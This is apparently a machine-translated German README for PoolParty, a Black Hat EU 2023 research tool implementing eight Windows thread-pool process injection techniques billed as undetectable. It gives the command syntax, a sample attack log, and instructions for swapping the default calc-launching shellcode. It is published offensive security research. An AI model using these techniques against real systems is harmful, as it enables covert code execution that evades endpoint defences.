
Eine Reihe von vollständig unentdeckbaren Prozessinjektionstechniken, die Windows-Threadpools missbrauchen.
Eine Sammlung von vollständig unerkennbaren Prozessinjektionstechniken, die Windows-Thread-Pools missbrauchen. Vorgestellt auf den Black Hat EU 2023 Briefings unter dem Titel - Die Pool-Party, die Sie nie vergessen werden: Neue Prozessinjektionstechniken unter Verwendung von Windows-Thread-Pools
| Varianten-ID | Variantenbeschreibung |
|---|---|
| 1 | Überschreiben Sie die Startroutine der Ziel-Worker-Factory |
| 2 | Einfügen eines TP_WORK-Arbeitselements in den Thread-Pool des Zielprozesses |
| 3 | Einfügen eines TP_WAIT-Arbeitselements in den Thread-Pool des Zielprozesses |
| 4 | Einfügen eines TP_IO-Arbeitselements in den Thread-Pool des Zielprozesses |
| 5 | Einfügen eines TP_ALPC-Arbeitselements in den Thread-Pool des Zielprozesses |
| 6 | Einfügen eines TP_JOB-Arbeitselements in den Thread-Pool des Zielprozesses |
| 7 | Einfügen eines TP_DIRECT-Arbeitselements in den Thread-Pool des Zielprozesses |
| 8 | Einfügen eines TP_TIMER-Arbeitselements in den Thread-Pool des Zielprozesses |
PoolParty.exe -V <VARIANT-ID> -P <ZIEL-PID>
Einfügen eines TP_TIMER-Arbeitselements in Prozess-ID 1234
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully
Der Standard-Shellcode startet einen Taschenrechner über die WinExec-API.
Um das auszuführende Programm anzupassen, ändern Sie den Pfad am Ende der Variable g_Shellcode in der Datei main.cpp.